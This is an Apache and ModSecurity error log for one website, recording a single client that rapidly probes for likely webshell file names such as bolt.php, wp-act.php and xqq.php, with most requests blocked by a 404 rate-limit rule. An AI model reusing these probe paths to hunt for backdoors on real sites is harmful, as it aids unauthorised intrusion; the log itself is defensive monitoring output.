[Sat Apr 11 21:41:17.510029 2026] [:error] [pid 42221:tid 42287] [client 20.215.64.75:10946] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "adpPfU2gt0pb_0-cc6mHGAAAAEk"]
[Sat Apr 11 21:41:18.014758 2026] [:error] [pid 42220:tid 42272] [client 20.215.64.75:10972] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "adpPfkz5c3Cs6a8B5QuD-wAAANU"]
[Sat Apr 11 21:41:18.518361 2026] [:error] [pid 42221:tid 42297] [client 20.215.64.75:11243] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ol.php"] [unique_id "adpPfk2gt0pb_0-cc6mHGgAAAFM"]
[Sat Apr 11 21:41:19.023035 2026] [:error] [pid 42221:tid 42293] [client 20.215.64.75:11213] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ol.php"] [unique_id "adpPf02gt0pb_0-cc6mHHAAAAE8"]
[Sat Apr 11 21:41:19.528891 2026] [:error] [pid 42313:tid 42322] [client 20.215.64.75:10954] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ol.php"] [unique_id "adpPf12P8TxdbaN018IvngAAAAY"]
[Sat Apr 11 21:41:20.034156 2026] [:error] [pid 42313:tid 42326] [client 20.215.64.75:11029] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ol.php"] [unique_id "adpPgF2P8TxdbaN018IvnwAAAAo"]
[Sat Apr 11 21:41:20.537378 2026] [:error] [pid 42313:tid 42329] [client 20.215.64.75:11161] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f6.php"] [unique_id "adpPgF2P8TxdbaN018IvogAAAA0"]
[Sat Apr 11 21:41:21.044370 2026] [:error] [pid 42313:tid 42340] [client 20.215.64.75:11090] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f6.php"] [unique_id "adpPgV2P8TxdbaN018IvpQAAABg"]
[Sat Apr 11 21:41:21.549921 2026] [:error] [pid 42221:tid 42287] [client 20.215.64.75:10983] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f6.php"] [unique_id "adpPgU2gt0pb_0-cc6mHJAAAAEk"]
[Sat Apr 11 21:41:22.054540 2026] [:error] [pid 42313:tid 42316] [client 20.215.64.75:11073] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f6.php"] [unique_id "adpPgl2P8TxdbaN018IvqgAAAAA"]
[Sat Apr 11 21:41:22.562192 2026] [:error] [pid 42313:tid 42326] [client 20.215.64.75:11023] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inputs.php"] [unique_id "adpPgl2P8TxdbaN018IvrwAAAAo"]
[Sat Apr 11 21:41:23.066599 2026] [:error] [pid 42313:tid 42340] [client 20.215.64.75:11133] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inputs.php"] [unique_id "adpPg12P8TxdbaN018IvsAAAABg"]
[Sat Apr 11 21:41:23.578762 2026] [:error] [pid 42313:tid 42319] [client 20.215.64.75:11190] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inputs.php"] [unique_id "adpPg12P8TxdbaN018IvsgAAAAM"]
[Sat Apr 11 21:41:24.141589 2026] [:error] [pid 42313:tid 42322] [client 20.215.64.75:11033] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inputs.php"] [unique_id "adpPhF2P8TxdbaN018IvtwAAAAY"]
[Sat Apr 11 21:41:24.648877 2026] [:error] [pid 42220:tid 42270] [client 20.215.64.75:11022] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/style.php"] [unique_id "adpPhEz5c3Cs6a8B5QuEAAAAANM"]
[Sat Apr 11 21:41:25.169014 2026] [:error] [pid 42313:tid 42332] [client 20.215.64.75:11118] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/style.php"] [unique_id "adpPhV2P8TxdbaN018IvvQAAABA"]
[Sat Apr 11 21:41:25.689122 2026] [:error] [pid 42221:tid 42284] [client 20.215.64.75:11027] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/style.php"] [unique_id "adpPhU2gt0pb_0-cc6mHLAAAAEY"]
[Sat Apr 11 21:41:26.204616 2026] [:error] [pid 42221:tid 42280] [client 20.215.64.75:11215] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/style.php"] [unique_id "adpPhk2gt0pb_0-cc6mHLgAAAEI"]
[Sat Apr 11 21:41:26.708584 2026] [:error] [pid 42313:tid 42334] [client 20.215.64.75:10958] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aa.php"] [unique_id "adpPhl2P8TxdbaN018IvwAAAABI"]
[Sat Apr 11 21:41:27.214129 2026] [:error] [pid 42313:tid 42335] [client 20.215.64.75:11123] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aa.php"] [unique_id "adpPh12P8TxdbaN018IvxAAAABM"]
[Sat Apr 11 21:41:27.720735 2026] [:error] [pid 42221:tid 42299] [client 20.215.64.75:11018] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aa.php"] [unique_id "adpPh02gt0pb_0-cc6mHMwAAAFU"]
[Sat Apr 11 21:41:28.246755 2026] [:error] [pid 42313:tid 42316] [client 20.215.64.75:11048] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aa.php"] [unique_id "adpPiF2P8TxdbaN018IvxwAAAAA"]
[Sat Apr 11 21:41:28.780868 2026] [:error] [pid 42313:tid 42340] [client 20.215.64.75:11050] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php"] [unique_id "adpPiF2P8TxdbaN018IvygAAABg"]
[Sat Apr 11 21:41:29.318379 2026] [:error] [pid 42313:tid 42325] [client 20.215.64.75:11026] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php"] [unique_id "adpPiV2P8TxdbaN018IvzQAAAAk"]
[Sat Apr 11 21:41:29.824916 2026] [:error] [pid 42313:tid 42319] [client 20.215.64.75:11247] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php"] [unique_id "adpPiV2P8TxdbaN018Iv0AAAAAM"]
[Sat Apr 11 21:41:30.335055 2026] [:error] [pid 42313:tid 42320] [client 20.215.64.75:10962] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php"] [unique_id "adpPil2P8TxdbaN018Iv0wAAAAQ"]
[Sat Apr 11 21:41:30.844030 2026] [:error] [pid 42219:tid 42231] [client 20.215.64.75:11056] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adpPig-4IkVbTQx_J-2BcgAAAIg"]
[Sat Apr 11 21:41:31.362366 2026] [:error] [pid 42313:tid 42325] [client 20.215.64.75:10976] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adpPi12P8TxdbaN018Iv2gAAAAk"]
[Sat Apr 11 21:41:31.869587 2026] [:error] [pid 42313:tid 42329] [client 20.215.64.75:11011] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adpPi12P8TxdbaN018Iv3QAAAA0"]
[Sat Apr 11 21:41:32.376717 2026] [:error] [pid 42313:tid 42319] [client 20.215.64.75:11155] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adpPjF2P8TxdbaN018Iv5gAAAAM"]
[Sat Apr 11 21:41:32.885825 2026] [:error] [pid 42313:tid 42320] [client 20.215.64.75:11059] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless4.php"] [unique_id "adpPjF2P8TxdbaN018Iv7AAAAAQ"]
[Sat Apr 11 21:41:33.394979 2026] [:error] [pid 42220:tid 42261] [client 20.215.64.75:10991] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless4.php"] [unique_id "adpPjUz5c3Cs6a8B5QuEAQAAAMo"]
[Sat Apr 11 21:41:33.900793 2026] [:error] [pid 42219:tid 42242] [client 20.215.64.75:10978] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless4.php"] [unique_id "adpPjQ-4IkVbTQx_J-2BeQAAAJM"]
[Sat Apr 11 21:41:34.404417 2026] [:error] [pid 42313:tid 42325] [client 20.215.64.75:10987] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless4.php"] [unique_id "adpPjl2P8TxdbaN018Iv9QAAAAk"]
[Sat Apr 11 21:41:34.910219 2026] [:error] [pid 42313:tid 42333] [client 20.215.64.75:11193] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-act.php"] [unique_id "adpPjl2P8TxdbaN018Iv9wAAABE"]
[Sat Apr 11 21:41:35.427884 2026] [:error] [pid 42220:tid 42260] [client 20.215.64.75:11116] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-act.php"] [unique_id "adpPj0z5c3Cs6a8B5QuEAwAAAMk"]
[Sat Apr 11 21:41:35.931665 2026] [:error] [pid 42220:tid 42274] [client 20.215.64.75:11063] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-act.php"] [unique_id "adpPj0z5c3Cs6a8B5QuEBQAAANc"]
[Sat Apr 11 21:41:36.436105 2026] [:error] [pid 42220:tid 42272] [client 20.215.64.75:10947] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-act.php"] [unique_id "adpPkEz5c3Cs6a8B5QuECQAAANU"]
[Sat Apr 11 21:41:36.941162 2026] [:error] [pid 42220:tid 42263] [client 20.215.64.75:11014] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xqq.php"] [unique_id "adpPkEz5c3Cs6a8B5QuEDAAAAMw"]
[Sat Apr 11 21:41:37.463983 2026] [:error] [pid 42221:tid 42291] [client 20.215.64.75:11076] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xqq.php"] [unique_id "adpPkU2gt0pb_0-cc6mHOgAAAE0"]
[Sat Apr 11 21:41:37.967881 2026] [:error] [pid 42221:tid 42297] [client 20.215.64.75:10949] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xqq.php"] [unique_id "adpPkU2gt0pb_0-cc6mHOwAAAFM"]
[Sat Apr 11 21:41:38.472174 2026] [:error] [pid 42221:tid 42285] [client 20.215.64.75:11216] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xqq.php"] [unique_id "adpPkk2gt0pb_0-cc6mHPgAAAEc"]
[Sat Apr 11 21:41:38.987006 2026] [:error] [pid 42221:tid 42292] [client 20.215.64.75:11038] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plss3.php"] [unique_id "adpPkk2gt0pb_0-cc6mHQAAAAE4"]
[Sat Apr 11 21:41:39.496613 2026] [:error] [pid 42313:tid 42328] [client 20.215.64.75:11002] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plss3.php"] [unique_id "adpPk12P8TxdbaN018Iv_QAAAAw"]
[Sat Apr 11 21:41:40.003055 2026] [:error] [pid 42220:tid 42251] [client 20.215.64.75:11064] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plss3.php"] [unique_id "adpPlEz5c3Cs6a8B5QuEEwAAAMA"]
[Sat Apr 11 21:41:40.507096 2026] [:error] [pid 42313:tid 42340] [client 20.215.64.75:10989] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plss3.php"] [unique_id "adpPlF2P8TxdbaN018IwAAAAABg"]
[Sat Apr 11 21:41:41.022789 2026] [proxy_fcgi:error] [pid 42313:tid 42318] [client 20.215.64.75:11052] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:41:41.279734 2026] [proxy_fcgi:error] [pid 42313:tid 42336] [client 20.215.64.75:11052] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:41:41.809301 2026] [proxy_fcgi:error] [pid 42313:tid 42332] [client 20.215.64.75:11052] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:41:42.066643 2026] [proxy_fcgi:error] [pid 42313:tid 42334] [client 20.215.64.75:11052] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:41:42.323406 2026] [proxy_fcgi:error] [pid 42313:tid 42329] [client 20.215.64.75:11052] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:41:42.579532 2026] [proxy_fcgi:error] [pid 42313:tid 42336] [client 20.215.64.75:11052] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:41:43.350974 2026] [proxy_fcgi:error] [pid 42313:tid 42324] [client 20.215.64.75:11052] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:41:43.606089 2026] [proxy_fcgi:error] [pid 42313:tid 42334] [client 20.215.64.75:11052] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:41:43.858753 2026] [:error] [pid 42313:tid 42319] [client 20.215.64.75:11052] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/goods.php"] [unique_id "adpPl12P8TxdbaN018IwHQAAAAM"]
[Sat Apr 11 21:41:44.361901 2026] [:error] [pid 42313:tid 42336] [client 20.215.64.75:11024] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/goods.php"] [unique_id "adpPmF2P8TxdbaN018IwHgAAABQ"]
[Sat Apr 11 21:41:44.868550 2026] [:error] [pid 42220:tid 42275] [client 20.215.64.75:11054] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/goods.php"] [unique_id "adpPmEz5c3Cs6a8B5QuEIQAAANg"]
[Sat Apr 11 21:41:45.375099 2026] [:error] [pid 42220:tid 42252] [client 20.215.64.75:10957] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/goods.php"] [unique_id "adpPmUz5c3Cs6a8B5QuEIgAAAME"]
[Sat Apr 11 21:41:45.884712 2026] [:error] [pid 42221:tid 42301] [client 20.215.64.75:10961] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "adpPmU2gt0pb_0-cc6mHRgAAAFc"]
[Sat Apr 11 21:41:46.394843 2026] [:error] [pid 42313:tid 42335] [client 20.215.64.75:11043] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "adpPml2P8TxdbaN018IwIwAAABM"]
[Sat Apr 11 21:41:46.904649 2026] [:error] [pid 42221:tid 42297] [client 20.215.64.75:10918] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "adpPmk2gt0pb_0-cc6mHSAAAAFM"]
[Sat Apr 11 21:41:47.417584 2026] [:error] [pid 42313:tid 42336] [client 20.215.64.75:10998] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "adpPm12P8TxdbaN018IwJwAAABQ"]
